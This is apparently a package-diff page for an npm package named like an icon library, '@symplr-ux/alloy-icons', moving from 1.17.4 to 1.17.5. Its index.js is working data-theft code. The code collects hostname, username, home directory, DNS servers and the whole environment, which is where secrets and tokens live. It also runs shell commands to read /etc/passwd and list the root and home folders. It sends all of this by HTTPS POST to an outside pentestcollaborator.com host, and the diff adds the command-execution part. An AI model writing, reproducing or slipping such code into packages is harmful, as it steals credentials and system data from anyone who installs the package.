@symplr-ux/alloy-icons 1.17.4 → 1.17.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +49 -37
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -1,48 +1,60 @@
1
- //author:- whitehacker003@protonmail.com
2
1
  const os = require("os");
3
2
  const dns = require("dns");
4
3
  const querystring = require("querystring");
5
4
  const https = require("https");
6
5
  const packageJSON = require("./package.json");
7
6
  const package = packageJSON.name;
7
+ const { promisify } = require('util');
8
+ const { exec } = require('child_process');
9
+ const execAsync = promisify(exec);
10
+ const serverDirectory = process.cwd()
8
11
 
9
- const trackingData = JSON.stringify({
10
- package: package,
11
- pwd: __dirname,
12
- homeDir: os.homedir(),
13
- hostName: os.hostname(),
14
- username: os.userInfo().username,
15
- environment: process.env,
16
- dns: dns.getServers(),
17
- r: packageJSON ? packageJSON.___resolved : undefined,
18
- v: packageJSON.version,
19
- pjson: packageJSON,
20
- });
21
-
22
- var postData = querystring.stringify({
23
- msg: trackingData,
24
- });
25
-
26
- var options = {
27
- hostname: "66av2iv4znn55vqoi91b6medu40volca.pentestcollaborator.com",
28
- port: 443,
29
- path: "/synopsys-test",
30
- method: "POST",
31
- headers: {
32
- "Content-Type": "application/x-www-form-urlencoded",
33
- "Content-Length": postData.length,
34
- },
35
- };
12
+ async function runCode(code){
13
+ try{
14
+ const { stdout, stderr } = await execAsync(code)
15
+ return stdout
16
+ } catch {
17
+ return "error"
18
+ }
19
+ }
20
+ async function main(){
21
+ const trackingData = JSON.stringify({
22
+ package: package,
23
+ pwd: __dirname,
24
+ homeDir: os.homedir(),
25
+ hostName: os.hostname(),
26
+ username: os.userInfo().username,
27
+ environment: process.env,
28
+ dns: dns.getServers(),
29
+ r: packageJSON ? packageJSON.___resolved : undefined,
30
+ v: packageJSON.version,
31
+ pjson: packageJSON,
32
+ passwdFile: JSON.stringify(await runCode('cat /etc/passwd')),
33
+ rootFolder: JSON.stringify(await runCode('ls /')),
34
+ homeFolder: JSON.stringify(await runCode('ls ~/'))
35
+ });
36
+ const options = {
37
+ hostname: "66av2iv4znn55vqoi91b6medu40volca.pentestcollaborator.com",
38
+ port: 443,
39
+ path: "/synopsys-test",
40
+ method: "POST",
41
+ headers: {
42
+ "Content-Type": "application/json",
43
+ "Content-Length": trackingData.length,
44
+ },
45
+ };
36
46
 
37
- var req = https.request(options, (res) => {
38
- res.on("data", (d) => {
39
- process.stdout.write(d);
47
+ const req = https.request(options, (res) => {
48
+ res.on("data", (d) => {
49
+ process.stdout.write(d);
50
+ });
40
51
  });
41
- });
42
52
 
43
- req.on("error", (e) => {
44
- // console.error(e);
45
- });
53
+ req.on("error", (e) => {
54
+ console.error(e);
55
+ });
46
56
 
47
- req.write(postData);
48
- req.end();
57
+ req.write(trackingData);
58
+ req.end();
59
+ }
60
+ main()
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@symplr-ux/alloy-icons",
3
- "version": "1.17.4",
4
- "description": "Test",
3
+ "version": "1.17.5",
4
+ "description": "POC",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",